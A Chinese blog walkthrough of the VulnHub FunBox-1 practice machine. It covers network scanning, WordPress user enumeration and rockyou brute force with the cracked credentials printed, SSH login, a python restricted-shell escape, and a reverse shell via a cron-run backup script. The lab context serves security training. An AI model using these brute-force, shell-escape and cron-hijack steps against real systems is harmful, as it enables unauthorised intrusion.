vulnhub靶场之FunBox-1

一.环境搭建

1.靶场描述

复制代码
Boot2Root ! This is a reallife szenario, but easy going. You have to  enumerate and understand the szenario to get the root-flag in round  about 20min.
This VM is created/tested with Virtualbox. Maybe it works with vmware.
If you need hints, call me on twitter: @0815R2d2
Have fun...
This works better with VirtualBox rather than VMware
复制代码

2.靶场下载

复制代码
https://www.vulnhub.com/entry/funbox-1,518/
复制代码

3.靶场启动

虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.2.0/24

二.信息收集

1.寻找靶场真实ip地址

复制代码
nmap -sP 192.168.2.0/24
复制代码
复制代码
arp-scan -l
复制代码
复制代码
靶场真实ip地址为192.168.2.10
复制代码

2.探测端口及服务

复制代码
nmap -p- -sV 192.168.2.10
复制代码
复制代码
发现开启了21端口,服务为ProFTPD
发现开启了22端口,服务为OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
发现开启了80,服务为Apache httpd 2.4.41 ((Ubuntu))
发现开启了33060,服务为mysqlx?
复制代码

三.渗透测试

1.访问web服务

复制代码
http://192.168.2.10
复制代码

我们可以想到是IP地址和域名没有进行绑定,我们进行绑定即可

复制代码
vim /etc/hosts

192.168.2.10   funbox.fritz.box
复制代码

我们再次进行访问,可以看到页面正常

复制代码
ftp://192.168.2.10
复制代码

需要进行验证

2.扫描web服务

1)棱洞3.0指纹识别

复制代码
./EHole_linux_amd64 finger -u http://192.168.2.10
复制代码

扫描到cms框架是wordpress,我们可以猜测是需要爆破用户名和密码

2)nikto扫描网站结构

复制代码
nikto -h http://192.168.2.10
复制代码

扫描到一个有用的信息,是wordpress的登录页面

3)disearch目录扫描

复制代码
dirsearch -u 192.168.2.10 -e * -x 403 --random-agent
复制代码

没有什么新的发现,最后有用的信息只有一个登录页面

3.渗透测试

1)爆破用户名

复制代码
http://funbox.fritz.box/wp-login.php
复制代码

我们使用wpscan进行爆破用户名

复制代码
wpscan --url http://192.168.2.10 -e u
复制代码
复制代码
爆破出来2个用户名,一个是admin,一个是joe
复制代码

2)爆破密码

复制代码
wpscan --url http://funbox.fritz.box/ -U user.txt --passwords  /usr/share/wordlists/rockyou.txt   
复制代码

爆破出来2个用户名和密码,我们进行登录查看

复制代码
Username: joe, Password: 12345
Username: admin, Password: iubire
复制代码

3)登录

首先我们使用joe进行登录,但是没有发现有用的信息

我们使用第二个用户名进行登录

4)404页面登录

我们可以发现一个404.php,我们进行利用即可

我们写入相关的代码即可

但是我们发现不能使用,那么我们就换一个思路,进行解决,我们知道22端口是开启的,我们使用ssh进行登录

5)ssh登录

复制代码
ssh joe@192.168.2.10
复制代码

我们可以看到登录成功

我们查看id,发现不是root权限,我们进行提权

我们切换到根目录下,但是 发现被限制了 使用命令: python -c 'import os; os.system("/bin/bash"); 然后就突破了限制

6)提权

我们查看根目录

我们可以看到/home目录,我们进行查看

然后 在 funny下 发现了 .backup.sh 可执行脚本 而.reminder.sh 说明backup会定时执行

设置本地ip nc进行监听 ,每过几分钟就会运行一次 .bash.sh 脚本 然后就会回弹shell

获取flag

至此获取到了所有得flag,渗透测试结束

相关推荐
三8441 天前
云安全 · 02 · 容器与 Docker 安全基础
web安全·docker·云安全
宁之明起(B服)2 天前
struct2(vulhub靶场)指纹识别+沙箱绕过+反弹shell+webshell
web安全
三8442 天前
Java 模板注入(FreeMarker)· 04 · 利用与绕过:payload 全集
java·web安全·freemarker·payload
网安老伯3 天前
都2026年了,还在问网络安全怎么入门?看完这一篇你就懂了
运维·计算机网络·web安全·网络安全·wireshark·密码学·网络攻击模型
Bruce_Liuxiaowei4 天前
2026年9月第2周网络安全形势周报
网络·安全·web安全·网络安全·漏洞评级
三8444 天前
Java 模板注入(FreeMarker) · 02 · 模板引擎与 FreeMarker 语法
java·开发语言·web安全·freemarker
是逍遥子没错4 天前
一个斜杠,击穿整座网关:API网关路径前缀绕过认证实战
运维·服务器·web安全·网络安全·渗透测试·系统安全
网教盟人才服务平台4 天前
Spring4Shell 漏洞原理、利用手段与全场景防御方案
安全·web安全
小程序设计4 天前
网络安全漏洞综合实验场设计与开发
安全·web安全
持敬chijing5 天前
CentOS 从零搭建 LAMP 环境完整实战指南
linux·运维·web安全·网络安全·centos